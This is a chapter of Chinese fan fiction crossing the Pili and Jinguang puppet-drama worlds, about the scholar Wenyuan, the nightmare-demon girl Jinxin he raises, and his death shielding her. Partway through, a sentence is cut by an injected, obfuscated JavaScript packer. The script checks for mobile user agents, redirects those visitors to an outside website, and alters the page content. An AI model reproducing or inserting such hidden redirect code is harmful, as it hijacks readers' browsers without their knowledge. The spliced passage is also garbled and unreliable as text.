《【霹雳+金光同人】这个苦境被穿成了筛子》 1. 明渊于心-1 道友们麻烦不要关作话,如有新设定会在作话解释,尽量不占用正文字数。以下正文开始: 彼时文渊先生不过是苦境一名出身儒教的新晋先天,刚刚踏入先天境界便已在苦境小有名气,恰逢苦境正值平静,文渊先生便离开儒教寻找了一处世外之地隐居顺便巩固先天修为。 然而文渊在一日清晨自睡梦中醒来后却发现自己意识中似乎有些异样,嘱咐了侍从他欲闭关不可打扰后,文渊进入了一间可隔绝意识入侵的密室准备探查自己的异状。 文渊先是检查了一番自己的身体发现并无异样,立刻便想到极有可能是意识出了问题。 “嗯…进入识海探查。”文渊抱元守一意识缓缓沉入了识海深处。 文渊的识海本是一阵鸟语花香的文雅景象,今日美景之中却掺杂了一丝不和谐的气息,文渊心下一凛,竟在一处角落中发现一缕微弱的灰色魔气,魔气聚集处似乎有自己的意识发出细弱的哭声,根本没有注意到文渊已经站在其后。 文渊掌心纳气凭空划下一道封印,手下一抓,魔气便被他完整地禁锢在掌心。 “汝是什么魔物?为何会突然出现在吾识海中?”文渊眉目凛然冷声问道,全然不复面对儒教同修之时的儒雅风度。 “呜哇!救命救命呀!不要抓我!我也不知道为什么就出现在这里了,我只是一只没有攻击性的梦魇魔,我只以噩梦为食,不会对人有危害的!求求你不要抓我!”梦魇将周身灰色魔气收敛露出本体的兽型。 文渊用两只手指捏住巴掌大的梦魇后脖颈提到眼前打量了一番,发现确实如其所说这是一只梦魇幼崽。 梦魇乃是一种极为稀少的特殊魔物,其多数存在于梦境世界中并以噩梦为食,并无攻击手段。修行者修行途中产生的心魔对梦魇来说是大补之物,而修行者同时也会减少走火入魔的可能性,也是因此梦魇曾在远古时遭到大肆捕抓,如今成年梦魇都数百年难得一见,更别提这只看起来出生才不过十几年的梦魇幼崽了。 文渊本还以为是修行之中造成的天魔扰心,没想到居然是一只稀有的梦魇幼崽,心中一定的同时也觉有些欢喜,仔细看看虽然梦魇幼崽如今还是灰噗噗的一小团,但是在文渊眼中却是可可爱爱潜力极大。 “好吧,看在汝的无害性上,吾便暂时收留汝了,但若有朝一日吾发现汝作恶,便不可怪吾手下无情了。”文渊深谙给个甜枣再打一棒子的驯兽技巧。 “多谢你!我就知道你是个好人,你的梦里充满了温柔与善良,让我的伤恢复得很快!”梦魇一朝逃脱死劫语气庆幸中带着活泼。 文渊对梦魇口中的伤十分感兴趣,于是试探地开口问道:“伤?汝是如何受的伤?又是如何出现在吾识海中的?” 似是提到了梦魇的伤心事,梦魇的情绪瞬间低落下来,可怜巴巴地说道:“臭阿爹居然想要将我塞去泡魔池,魔池助长可是很疼的,幸亏我聪明伶俐,早一步从梦境世界中溜掉了。我本来只是想离家出走几天,等臭阿爹找过来哄哄我就和他回家来着。没想到不知道在梦境世界碰到了什么阵法,让我来到了数千年前,伤势也是在穿越时空的时候被空间乱流伤到的…呜呜呜,我重伤失去意识,本能逃入了你的意识中养伤,对不起,我不是故意的。”梦魇说到伤心处忍不住呜咽起来。 “魔池”、“穿越时空”、“数千年前”,梦魇话中爆点太多,让文渊头脑风暴不停,然而总结下来就是:这只小梦魇来自很久之后的未来,在现如今的时空无依无靠,他可以放心收拢掌心,不用怕突然有人窜出来与他争抢归属啦! “汝既然重伤无处可去,便暂时留在吾识海之中养伤吧,吾名为文渊,汝可有名字?”文渊笑眯眯地松开梦魇,将它放在识海内池水中的一朵莲花中。 “阿爹给我取名叫禁心,文渊恩公。”禁心蹲坐在莲花中心的莲蓬上对着文渊作揖道。 “不必称吾恩公,禁心小娃儿。” “那你如果不叫我小娃儿,我便不叫你恩公。” “真是狡猾的小魔,还与吾讨价还价,好吧,吾答应汝了,禁心。”文渊手中化出一柄折扇戳了戳禁心的额头。 “嘻嘻,多谢文渊阿叔。” “哎呀,吾明明还是个单身的俊朗少年,如今硬生生就被汝叫老了许多。”文渊展开折扇半遮面容,露出的漩涡眉与桃花眼带着一丝笑意。 “谁让我现在还不会幻化人身,待我修为增长,能够幻化人身,甚至能出现在现实世界中时,我便不叫你阿叔了!”禁心仰着小脑袋看着文渊,说话的样子让文渊心中连呼可爱最好一直就这么大才好。 禁心自然不知道小动物控的文渊刚刚的险恶心思,她如今只想早点长大,然后想办法回到未来,放她那个长了一张美女脸的阿爹一个人天天嘚啵嘚啵要复活主人,不知道为啥就是很不放心。唉,今天的禁心一样很担心阿爹。 得到识海主人文渊的许可后,禁心仿佛被打开了什么开关,天天在识海上蹿下跳,将文渊好好的识海空间搅和得乱七八糟,偏偏每次文渊欲要追究的时候都摆出一副乖乖认错下次还敢的小模样,让文渊不忍苛责,老实没过多久就又会固态萌生,在花费数月时间将伤势完全恢复后甚至偶尔趁着文渊不注意偷偷溜出识海,去到别人的梦境中遛弯。 再又一次将偷溜出去玩的禁心抓了个正着,文渊心道不可继续放任她继续乱跑,苦境的水深不可测,他可怕禁心哪一天跑进哪位大佬的梦境中被扣下,那他岂不是亏大发了。 于是文渊闲暇时间开始教授禁心识文断字,在发现禁心天资聪颖,识字并不能完全消耗她的精力后又开始教她君子六艺。 文渊之前在儒教之时也曾收有数名学生,奈何一个个都被教内老辈同化的腐朽顽固,年纪轻轻的思想僵化和老头子一样,实在是不得他的欢心。如今有一个聪明伶俐极会举一反三而且还会撒娇会卖萌的禁心在跟前,忍不住师兴大发,恨不得把自己所会的一切知识都教给她。 日子过的有如流水,两人虽无师徒之名,却比之别家师徒更加亲密。数十年过去,有文渊的悉心教导修行功法,禁心修为大涨,终于能够在现实世界凝聚实体。 “文渊!文渊!汝快瞧,吾的人形是不是很好看!”禁心一身白色衣裙在文渊面前转了好几个圈,又拿了个小镜子对着自己的脸照来照去。 “是啊,吾家禁心自然最好看!”文渊这也是第一次见到禁心的人形,少女年纪看起来二八年华,黑紫色的长发柔顺地披在背后,五官明明生的十分端庄纯洁,眉眼间却带着一丝属于魔类的勾魂邪艳,这完全不同于三教淑女们的气质让文渊看得失神了一瞬,随即反应过来有些狼狈地扭过了头看向别处。 “文渊,吾的长相与臭阿爹有七八分相像,不知道吾那早逝的父亲是长什么样子呢?”禁心有些好奇的叹道。 “嗯…嗯?阿爹,父亲?”走神时听到禁心的话,文渊愣了一下才发现话中的爆点。 禁心看到文渊难得失态,捂着嘴笑眯了眼,这才解释道:“吾之前好像没有说过,吾没有母亲,只有阿爹和父亲,阿爹只告诉了吾父亲在吾出生之前便已经去世,吾也不知他的身份容貌,吾是自阿爹体内孕生10年才出世的。” “没想到竟是如此,世界之大真是无奇不有!”文渊眼神恍惚语气中还带着点打开了新世界大门的惊奇。 “阿爹是黑发黑眼,吾却是紫黑色头发紫黑色眼睛,想来应该是随父亲吧。”禁心指尖点了点下巴有些不走心地说道。 虽然表现的不甚在意,但是禁心实际上还是十分想念阿爹,听魔城里的老爷爷们说阿爹之前身受重伤虽是借着魔魇之体侥幸活了下来却失去了大部分的记忆,仅留下想要复活主人的执念不肯忘却,也是因为阿爹重伤的缘故,她在阿爹身体内足足孕育了十年才得以降生,甚至现任魔主还亲自为她取了名字。 在随后的日子里禁心开始学习术法,她总想着利用术法的神奇效果让她能够回到属于她自己的时空。 而文渊的心情自禁心开始学习术法便有些微妙,既有对禁心如此好学的自豪欣慰,又有一股无来由的酸涩不满,相处一甲子,禁心难道对他就全无不舍吗?禁心…你的人果然就如同你的名字没有心! 文渊心情不爽,不舍得折腾禁心,便隔三差五给他的好友们飞信秀徒弟,禁心成功在三教同辈之中出了名。时不时有不认识的人给她写信,借着请教之名实则挖苦埋怨,别人家的孩子从来都不好做。更有那文渊的好友还带着弟子前来拜访,有不服气让弟子与禁心切磋的,有纯粹好奇只想吃瓜围观的,甚至还有被弟子拜托来求娶的,当然最后一种的直接被炸毛的文渊给赶了出去,被其他好友笑称史上最难搞的老丈人。 文渊委屈心酸但不能说,吾才不是老丈人,吾还是个单身青年,吾也想…… “终于都走光了,这些老家伙们也实在太过于无聊了,居然赖在吾这里整整一个月!”文渊气鼓鼓地说道。 禁心笑而不语,以她对文渊的了解,指不定他现在心里有多高兴呢,毕竟她这次可是让他十分有面子,在与文渊好友的弟子切磋中不论文武未曾一败,这已经够让文渊接下来一年都有的夸了。 “禁心,随吾来书房。”文渊遣退随侍的侍从和禁心的侍女,挥手示意她随自己来。 文渊带着禁心进入书房,开启了房内的机关,博古架缓缓挪动,露出了一扇门,而这扇门后通往的正是文渊机关的地下密室。 “这段时间汝多与人切磋比剑,想来封印也快松动了。汝坐下,吾为汝重新加固一下封印。”自从禁心凝聚出人形,文渊为了她的安全在她的体内设下了封印。毕竟禁心的本体是千年难遇的梦魇魔兽,若是身份暴露只怕要在江湖引起大乱,那些早已退隐江湖的超级大先天们怕是也扛不住这等诱惑,到时候以文渊的修为也没法护禁心周全。文渊设下的封印会隔绝禁心的魔气,不会让外人察觉她魔物的身份,但是又为了不让封印损害到她的魔气让她运气流畅,最后的结果就是封印极为脆弱而且持续时间不超过两个月,文渊时不时就要为禁心加固封印。 “唉,梦魇之身果然麻烦,要是能早日进化为龙就好了。”在经过了三个时辰终于将封印加固完成后禁心总算松了一口气。 “汝天资绝顶,本体又无因果业力纠缠,反而有不少功德护体,修习化龙决并不会有瓶颈,只要按部就班必会成功进化为龙身,到时候也就不会被梦魇本体所困扰了。”文渊摸了摸禁心的头柔声安慰道。 “嗯,吾知道了,多谢汝,文渊。”感受着文渊在她头顶轻轻抚摸的动作,禁心不知自己为何感觉有些心跳加速,脸上也烧起烫人的热度,为了防止被文渊发现异样,禁心立刻转移话题。 “吾对创造完全属于自己的剑招已经有了眉目,待吾闭关半年,必能将此剑招完善,到时候吾舞给汝看!” “好,吾等汝。” 禁心的闭关不到半年便结束,剑招已经完善,继续闭关已无意义,于是传信将出门在外与友把手同游的文渊叫了回来。 时值寒冬,雪落林中,视线内一片白茫茫,然而在庭院中站立等候他的红衣少女却鲜活地似要灼伤文渊的心脏,胸口涌上来的冲动终于让他承认禁心便是他的缘,入了他的心,最终成了他的劫。文渊头一次无比庆幸自己不曾正式收禁心为徒,还有余地将她以另一个更为重要的身份介绍给众多好友同门。 明了心意的文渊已经不想再掩饰自己的感情,快步走近禁心,一把将她揽进怀中,手上化出一条白色狐裘披风为禁心披在肩上。 “为何站在这里等吾?寒风雪冷,怎么不呆在屋内?”文渊心疼地摸了摸禁心被风吹得冷冰冰的脸颊。 禁心被文渊捂的又严又勒,忍不住嫌弃地推开他,轻哼了一声:“谁说吾是在等汝了?吾明明就是在赏雪!文渊,近半年不见,汝怎么还是这么自恋!” “嗯?吾自恋?禁心汝没有心!”文渊忍不住控诉她。 “哼!略略略!”禁心朝着文渊吐舌头做了个鬼脸就转头跑回屋里去了。 “小莲,快上茶!”禁心一回到屋里就把披风解了下来搭到了了床沿,自己坐在桌前等着侍女莫雨莲泡茶。 “小姐何必故意气先生呢?您明明不就是得知先生大概这时候回来特意去院里等他的嘛!”莫雨莲自小便侍奉禁心,感情深厚,偶尔也会与禁心取笑一二。况且文渊对禁心的感情,他们这些侍从看得久了自然心知肚明,唯有这两位主人感觉异常迟钝,让他们这些下面的人都替他二人心急。 “小丫头真是多嘴,罚汝今天只准泡茶不准喝茶!”禁心手中与文渊成对的折扇轻轻戳了戳小莲的鼻尖。 “不喝就不喝,小姐真是霸道!” “吾一直都是这么霸道,汝是第一次了解吾吗?” “霸道又迟钝!小莲我可是太了解小姐你了!”小莲说着脸上堆满恨铁不成钢的表情。 第二日一早,下了一夜的雪终于停了,禁心兴奋地拉着文渊来到后山树林中。 “之前吾们说好的,吾要给汝展示一下属于吾自己的剑法,汝可要认真点评!”禁心一脸郑重地叮嘱文渊,见他点头答应,这才提着剑走远了一些。 禁心其人娇气又纯善,然而她的剑法却带着邪气,剑意不够清正。文渊心知这是她身为魔族的天性,便从不刻意为她矫正,只任其自由发展,以禁心的资质,早晚会洗练出独属于她自己的剑心。 树林中舞剑的少女姿态柔美,然而出剑的角度却极为刁钻,禁心出的每一剑都会带出一大片紫蝶,飞舞的紫蝶环绕在她的周遭,偶尔有伸入紫蝶范围内的树枝,在紫蝶状的剑气下被片成木屑,这套剑法一共三十六式基础招式外加六式大招,禁心只展示了基础招式,大招范围太广破坏力太大便不做展示了。 “文渊,汝看一套剑法如何?” 禁心收剑的同时周身的紫蝶也化作点点荧光悄然飘散了。 文渊望着禁心带笑的面容眼神晦暗难明,这套剑法确实是一套顶级剑法,但这剑法中蕴含的剑意却让文渊一时间如坠冰窟。 “这是一套极美极艳的剑法,看似柔情如蜜,实则无情至极。剑映本心,禁心,汝果然没有心!”文渊难掩怒气,话落便直接拂袖离去。 被独留在原地的禁心脑中不停回想着文渊刚刚的评语“看似柔情如蜜,实则无情至极”,原本期待的心情如今只剩下委屈与不解,眼眶微热,点点水渍落在雪地上,被热度融化出一个个小坑。 禁心回到自己房间的时候已是月上枝头,甚至没有心情洗漱,直接躺在床上倒头就睡。后半夜小莲听到房间里有声音,起来看了一下才发现禁心突然发起高烧来,嘴里还在嘟囔着什么“阿爹、父亲、魔主哥哥”,唯独没有文渊先生。 这还是禁心第一次生病,小莲心急地找来文渊,又按照文渊写的方子去抓药煎药,留在房间内照顾禁心的人就变成了白天还在生气的文渊。 看着烧得迷迷糊糊直说胡话的禁心,文渊一肚子的气也生不起来了,只剩满满的心疼与自责。说起来禁心本也没有做错什么,擅自动了心的人是他,为了禁心的无动于衷而生气愤慨的人还是他。 “禁心啊禁心,汝果然是吾之劫数。唉……”再是生气最后还不是要悉心照顾她。 文渊不眠不休地看顾了禁心两天两夜,禁心终于退烧苏醒了过来,刚刚醒来就看到文渊侧伏在她的床沿闭目休息,一手支着头,另一手搭在她的身上轻轻拍着。 禁心不由眼眶一红,委屈地瘪了瘪嘴,翻了个身背对着文渊,完全一副不想看见他的模样。 文渊本就没有睡着,在禁心苏醒的时候就已经察觉,如今见她这副模样不由心下叹息。 “心儿,是吾错了,还请原谅吾吧!”文渊站起身来对禁心拱手道,口中是他已经许久不曾唤过的幼时昵称,文渊心中默默念叨着这个昵称,感觉既难过又酸涩,这段感情让他痛苦到近乎绝望,或许以后只要能看到禁心并保护她陪伴她就足够让他满足了吧。 “汝说汝错了,那吾问汝,吾的剑法美吗?”禁心将脸埋在被子里声音有些模糊不清。 文渊:“很美!这是吾所见过的最美丽的剑法了!”也是对吾来说最残忍无情的剑法…… 两人的矛盾在文渊的诚心道歉下消弭于无形,两人恢复了过去的生活,闲来吟诗抚琴,手谈作画,剑招相合,生活惬意又自由。 禁心研究术法到了瓶颈,许久都未有收获,所以暂时停止术法研究,开始研习道经,或许会对她的术法研究有所助益。即便最后没法穿越时空,那她也要努力活到数千年后,到时候她就是别人眼中的超级大先天,就能够保护阿爹和魔主哥哥他们了,勉强再加上一个文渊好了。 一甲子的时间说长不长说短亦不短,苦境却是灾厄连连,在众多先天前辈隐匿不出之下,文渊作为身接天命之人,被请出山作为正道之首与邪魔外道斗智斗勇。 禁心被禁止离开飒风山居,文渊独自在外奔波,虽有诸多正道好友同门相助,每次回到山居短短几日,禁心都能看出他身带沉疴,竟没有一次是不带伤回来的。 “正道难道就没有别人了吗?为何就认准了汝。”禁心一边根据文渊的指示为他施针治疗伤势一边语带不满地埋怨道。 “咳噗!”文渊吐出一口瘀血,擦掉唇边的血迹,脸色还带着病态的苍白,原本乌黑的头发中竟然掺杂着几缕白发,看得禁心愈加心疼。 “文渊既承天命,得好友同门们信任,便不可弃天下万民于不顾,必要还苦境永世太平!”文渊低垂着眉眼语气中却是不曾动摇的坚定。 “既然汝不肯回来退隐,那吾便随汝同去……”禁心话未说完就被文渊厉声打断。 “住口!吾说过不准就是不准,汝绝对不准离开飒风山居,否则汝吾师徒情断!”文渊从未对禁心说过如此重的话,禁心被第一次发这么大火的文渊吓了一跳,不由得噤了声。 文渊之前不曾向禁心说过,他们如今的敌人乃是魔族,禁心化龙决即将大成,将转魔为圣铸成圣龙之躯,在这关键之刻,他绝不允许她杀人及同族沾染上因果业力致使百年努力毁于一旦。 屋内气氛一片冷肃,禁心正想找借口离开,就见窗外一封飞书传来,文渊看完书信眉头紧皱,只略一思考便写信发回。 “禁心,吾有要事需立刻离开,明日吾有一名好友会被送至此处,伊乃是与敌人对决之时被魔音侵扰搅动心魔导致如今走火入魔,汝为伊平复心魔治好伤势后将此信交与伊。”文渊又抬笔写了一封信交给了禁心,随即化光离开。 第二天,果然如文渊所说,一名昏迷的白发道人被文渊的三弟子送至山居。 “师妹,明前辈便拜托汝了。” “三师兄放心交吾便是,师尊在外奔波无暇休息,还望师兄们多加劝说。” “自是当然,请。” 禁心让人将明道长送至客房,自己抱琴跟随其后。 “小莲,让其余人暂时退至山居范围之外。” “是,小姐。”小莲带着山居所有侍从退到了山居后山树林。 禁心察觉到山居内已无其他人,盘膝坐在客房中央,古琴被她放置膝上,素手勾弦,靡靡琴音引动起明道长心魔,同时梦魇本能催动,缕缕幽绿心魔自明道长天灵飘出,最后尽数被禁心吸入口中,而昏迷的明道长也隐约开始恢复意识。 “嗯……原来如此,这明道长居然是道境之人,没想到当初魔神降临灭绝道境,道境竟然还有幸存者。”禁心吃掉心魔的同时也能够知晓心魔的来源,因此也知道了明道长的身份。 “呃……这里是……”明溟呻吟着醒了过来,看到陌生的房间与抱琴的禁心不由疑惑。 “姑娘,是你救了贫道?” “晚辈名为禁心,奉师尊文渊先生之命为明前辈祛除心魔,前辈安心稍待,吾找侍从来为前辈包扎伤口。”禁心说完福身退出了房间。 “禁心?是文渊好友口中的那名女徒?果然风姿不凡,令人惊艳。”明溟看着禁心的背影忍不住心道。 明溟伤势沉重,即便有禁心为他疗伤,也躺了整整两个月才能下床自由行动,他本想早早离开去与同道们汇合,但是在看了文渊留下来的信后,决定按照信中指示留在飒风山居等待文渊回来。 养伤期间,明溟被禁止任何剧烈活动,不能练武,未免他太过无聊,禁心偶尔会来与他聊天解闷。 “哈哈,没想到师尊当年也有这么狼狈的时候!”禁心听到文渊的黑历史忍不住用折扇遮脸哈哈大笑。 明溟看着禁心的笑容心下有些微酸,禁心主动来与他交谈,他自是喜出望外,然而讨论的话题始终全然围绕着文渊一个人,看着禁心的情绪只被文渊的言行所引动,明溟这两个月心中生出的小火苗也被寒风吹得即将熄灭了,心中不由遗憾这两个人的故事里却非要有三个人的名字。 第三个月明溟的伤势完全痊愈,文渊也如约归来。 “文渊,汝的头发!”禁心看着文渊已经白了一半的头发忍不住双手颤抖不知现在该如何是好。 “吾无大事,心儿勿要担心,先为吾煎药去吧。”文渊支走禁心,这才与明溟进屋内密谈。 “好友,你对自己如今的情况可心中有数?”明溟问道。 文渊点了点头应道:“正道与魔族的决战在即,而吾之天命也将终了。” “你知道?那你可有留下后手?”明溟皱眉问道。 “天命难违,文渊此生无憾。” “你在说谎!文渊你当真放心的下你那女徒禁心吗?我不是瞎子,你看着她时的眼神早已暴露一切。”明溟语带斥责说道。 文渊心下一颤,硬是说道:“这只是吾一人的妄念罢了,禁心心思澄澈,从不曾想到男女之情上。伊之未来自会有比吾更加珍爱其的人与伊定下白首之约。” “你现在也就剩下嘴硬了。” “好友,此事暂时按下吧,现下以一个月后的正魔终局为要,详情听说……” 文渊身上死厄已现,明溟与文渊少年相识,感情深厚,并不甘心文渊遭此劫难,他准备起卦为文渊卜算他之生机。 “今日天空无云,便定在今晚吧。”待至入夜,明溟取出阵盘开始起卦。 随着明溟的推演,卦象逐渐明朗,同时借助星象引导,明溟开始推算文渊生机。 “没有?怎会这样!天道怎会不曾为文渊留下一丝生机?而且,文渊的死劫怎么会是应在禁心身上?难道文渊最终会是为了禁心而死吗?”卦象昭示的未来让明溟根本不敢相信,一个是他之挚友,一个是救他性命让他心生好感的女子,这样的未来要让他如何能够接受? “天命…难道真的就不可违背吗?”明溟准备去找文渊再谈一谈。 明溟走至文渊屋外不远处,却看禁心神色惴惴快步走来,进入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743108|189740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了文渊的屋内,刚刚禁心周身竟带了一丝魔气,这让明溟心下一跳不安起来。 踌躇半晌,明溟没有来得及离开,便听见屋内文渊与禁心的对话,而话中的内容让他瞬间如遭雷劈。 “文渊,吾身上封印松动了。” “嗯…果然有魔气溢出,吾帮汝重新巩固封印。” 禁心,竟然是魔? 文渊不但知道禁心是魔还帮她遮掩? 明溟想到刚刚的卦象,文渊死劫应在禁心身上,莫非禁心是魔族的卧底,文渊最终会被禁心所杀吗? 明溟神色不明地回到房间,躺在床上辗转反侧了一夜,待到天蒙蒙亮,明溟终于下定了决心。 “魔族狡诈不可信任,今日我誓要为文渊逆天改命!”明溟眼神决绝,提剑去寻禁心。 秋风萧瑟,今日清晨的飒风山居被吹落满地枯叶,看起来竟无比倾颓凄冷。 明溟找到人时,禁心正在中庭练剑,身姿飘曳,紫蝶绕身,剑意隐而不发,唯有剑身发出阵阵轻吟。文渊则坐在廊下手中捧了杯热茶,眼中含笑看着禁心舞剑。 明溟不欲多说,直接拔剑全力袭向禁心,一旁的文渊重伤未愈昨晚又帮禁心加固封印,完全来不及出手拦阻,禁心虽感觉到了杀气,但到底与明溟有着不少的根基之差,虽拦下致命一剑,却也同时身中一掌立时口溢朱红,身上封印也被明溟一掌击碎,被封印许久的魔气一朝释放竟不受禁心控制。一时间,飒风山居之上魔气环绕不散,天色亦由明转暗。 “明溟,住手!汝做什么?”文渊及时赶来,挡在禁心和明溟之间,将受伤的禁心牢牢护在身后。 “何须多问,一切不是正在眼前?昨晚我无意中听到了你们的谈话,没想到禁心乃是魔族,而文渊你可知你之天命将终结在这魔女身上!今日我便将她斩杀,为你逆天改命!”明溟一把推开文渊,抬剑再度刺向禁心。 禁心被明溟话中的意思惊在原地,失神间反应不及,被明溟一剑刺中了左肩。 “禁心!”文渊见到禁心接连受伤,肩头的血红仿佛要刺伤他的双眼,胸口泛起的疼痛宛如挖心一般。 “明溟!禁心非是魔族奸细!你快住手!否则你吾兄弟失情!”文渊再度插入两人之间,对着明溟厉声喝道。 “好友!你怎么事到如今还在执迷不悟护着这个魔女?”明溟一脸恨铁不成钢瞪着文渊。 文渊:“禁心不仅是吾悉心养大的爱徒,更是你的救命恩人,论及哪点,汝也不该对伊下此狠手!” 明溟:“她救我性命不假,但是魔族绝不可留,待我杀了她,正魔决战过后,我必自绝还命。” “汝!今日在此,文渊绝不许汝杀伊!”见明溟心意已决文渊也不再多说直接冷声道。 身后的禁心神色茫然,她不知道为什么突然会变成这样,明溟说文渊会因她而死,而且她是魔族,所以要杀她。 “文渊…吾会…害死汝吗?”禁心下意识地伸手攥住文渊的衣袖,“而且,难道在人族的眼中,只要是魔族就…该死吗?若吾不是…汝是不是在当初见面之时就会杀了吾?” “禁心,不要多想其他,事实就是汝是吾文渊的人,吾不准任何人杀汝!”文渊握住禁心的手坚定的说道。 “但是,吾绝不希望会是自己害死汝!”禁心见文渊避而不谈便知明溟说的都是事实,忍痛拉开文渊的手,直接化光离开。 文渊正欲追上去,明溟直接快步上前将他打晕了。 将文渊安置好后,明溟并未立刻去追杀禁心,而是留在飒风山居,转而传信给了门下弟子,叫弟子们负责追捕禁心。 在正道即将与魔族决战之时,一则追杀令震惊了正道众人,没人想到正道魁首文渊先生的爱徒——被无数三教弟子推崇爱慕的才女禁心——居然是魔族。虽然没有证据证明她是魔族细作,但是在释道两教看来,自古正魔不两立,管她是不是魔族细作,只要是魔族,就要杀除。反观儒教中人倒是持保留意见,有文渊在其中斡旋,外加儒教向来护短,对不曾作恶又极为优秀出众的禁心心存维护,致使最后追杀之人皆是释道两教的弟子,也让禁心松了一口气,避免了同门相残的惨剧。 追杀整整持续了一个月,因为三教的先天高手们重心都在正魔大决战,追杀禁心的人不过是教内的小辈,以禁心的修为,即便身受重伤也能够不杀一人逃脱至与文渊约定的地方。 禁心来到时文渊已经在此等候两天了,他正靠在一棵枯树下打坐。禁心看到文渊已经全白的头发忍不住眼睛一酸。 “文渊,汝可还好?”禁心半跪在文渊腿边,伸手想摸一摸他的头发。 “吾没事,汝之前肩上的伤可有痊愈?”文渊将禁心的手握在手中攥得紧紧的。 禁心点了点头:“已经接近痊愈。” “好,那吾这便带汝离开。明溟出手布阵,其他人正在逐渐将这里整个围起来。吾提前偷看了明溟的阵图,随吾前往生门之处。”文渊勉力撑着身体站了起来,却还是一个踉跄,幸得禁心及时扶住。 “嗯。”禁心为文渊输送了一些内元,让他能好受一些。 就在这时,意外的声音自两人背后响起。 “不必挣扎了,那张阵图是假的,你们根本离不开这座山。”说话之人正是明溟。 “七天前文渊你主动卸除儒教掌教之位,我便猜到了你的打算,假的阵图是我特意拿出引你上钩的。与魔族五大高手决战,你已经伤重得连走路都困难,如今又要如何拦阻我?”明溟神色冷漠,看着禁心的眼神宛如看着一名死人。 “好友,天意难违,吾与汝难道真要走到反目成仇的一步吗?吾知汝对魔族深恶痛绝,但是禁心却是无辜的,就让吾在仅剩的时间里与伊退隐不好吗?” “恕我拒绝,今日即便断送了你我数甲子的情谊,我也要杀她,只要能破除天命定数,只要你能活下去,我已经顾不得其他了!三教,万民,苦境都还需要你啊!” 禁心听着两人的对话,只犹豫了一瞬,便作下了决定,自文渊身旁离开,避过文渊伸来的手,向明溟走去。 “吾本不该存于此世,若非幼时被文渊汝所救,吾想必是活不到现在的,这条命本来就是汝救的,如今若能舍吾这一条命换汝后世顺遂,也算值了。明前辈,请动手吧!”说着禁心闭上了双眼引颈就戮。 “禁心汝在说什么疯话咳咳咳……”文渊被这话一惊忍不住气血上涌引动了内伤咳血不止。 然而在场的另两人却都心意已决难以更改了。 “哈!禁心你之度量气魄让明溟赞叹,果然不愧三教弟子第一人的地位,我没看错人!”明溟拔剑出鞘,剑尖直指禁心,眼前的女子不仅是好友的弟子与意中人,也是他第一次心生倾慕的人,若非天意弄人,他真的很想与好友正面较量一番,看看最后到底花落谁家,奈何今日他却要亲手断送她的性命。 禁心虽然闭着双眼,但是五感仍然十分敏锐,明溟的杀意凛然,她要全力压制自己的剑意,以免身体本能反击。 锐器刺穿身体的声音响起,禁心却感觉不到疼痛,直到脸上溅上温热的液体,她才忍不住睁开双眼,眼前的一幕却让她痛彻心扉。 “文渊——!” 就在禁心即将被明溟刺中心口之时,文渊突然移步挡在了禁心身前以自己的身躯替她挡下了这致命的一剑。 “好友!你!你糊涂啊!”就连明溟也被惊得再也握不住剑,失去支撑的文渊就要倒地的时候却被禁心抱在了怀中。 “文渊!师尊!汝为什么要救吾?吾自愿舍命便是不想看见汝现在的样子。” “因为没有汝的日子实在太过绝望了,吾只想与汝一起活下去,独活可从来不在吾的思考范围内啊!”文渊笑着抚上禁心的脸颊,禁心这才发现自己早已泪流满面。 文渊的眼神炙热又温柔,禁心此时却不敢看向他。 “师尊!汝并未被刺中要害,吾立刻为汝疗伤,吾绝不会让汝死在这里!” “对,好友!我们这便为你疗伤。”缓过神来的明溟也立刻说道。 “不必救吾了,吾早已油尽灯枯,硬撑着活到今天也不过是放心不下禁心罢了。”文渊说着拉着禁心的手放在自己的心口。 “禁心,吾知汝自幼敏感聪颖,吾之心意汝必然有所察觉,却故意不给吾一丝一毫的希望,吾说的对吗?” 禁心双手微颤却垂眼不愿言语,然而她的反应实际上已经说明了一切。 “吾知汝从未放弃过回家的念头,是吾自私,藏下了有关于时间的阵法书,只想把汝留在吾的身边。” “不要说了,这些吾都知道,而且吾也从来不曾怪过汝。”禁心眼泪簌簌落下。 “过于执着,最后只会一无所有,希望好友你能够早日勘破。”文渊转向明溟劝解道。 “好!我答应你…”明溟哽咽道。 “幸还留此残躯,今日吾便用这一身仅剩的修为换禁心汝的余生安稳!”说着文渊将自身的修为通过交握的双手渡到禁心体内,禁心的身后有龙的虚影正在逐渐转实。化龙决乃是夺天地之造化的奇异功法,若要大成必要有深厚到恐怖的修为作为支撑,如今汇合两人的修为终于让禁心的化龙决得以大成。 当禁心身后的龙影完全实体化后金龙直接跃入云层中,一时间天降甘霖,生机倏临,仅仅几息的时间便让周遭大变,老树生芽遍地花开。 看到禁心成功转化成圣龙,文渊执念已消,失去了修为硬撑,文渊的性命只剩下几息。 “禁心……能咳咳…告诉吾汝的…真名吗?”文渊艰难地开口问道。 禁心看着虚弱的文渊,低声道:“好!汝要好好记得,吾名叫禁谛阐提,出自天阎魔城阐提一脉,吾父亲乃是初代魔皇质辛阐提,阿爹乃是魇魔使者阇魇那迦,吾有两位兄长,魔主他化阐提以及少君断灭阐提。汝一定要牢牢记住,记住吾,即使轮回转世也不准忘记吾,一定要来找吾!” “禁谛…阐提,很好的…名字,文渊绝…不…敢…忘……”交握的双手骤然失力,昭示着怀中之人已然魂断。 “爱是执着,是痛苦,亦是遗憾!师尊,来世汝吾相遇,只做朋友可好?”禁心额间圣龙痕有流光闪过,这并非是她随口说出的话,而是以至圣龙灵身份亲手斩断了两人的姻缘。 这时,三教弟子皆都聚了过来,刚刚禁心身化圣龙之事所有人都亲眼见证,之前的追杀令自然也无需再提。 “师妹!还请让吾将师尊带回儒门,三教先人生前曾留下遗命,要将师尊身躯塑成金身,供奉于儒门。”这时,文渊的大弟子站了出来强忍悲痛哑声说道。 “吾知晓了…大师兄请稍待吧…”禁心为文渊整理好仪容,这才让儒门弟子将文渊身躯带走。 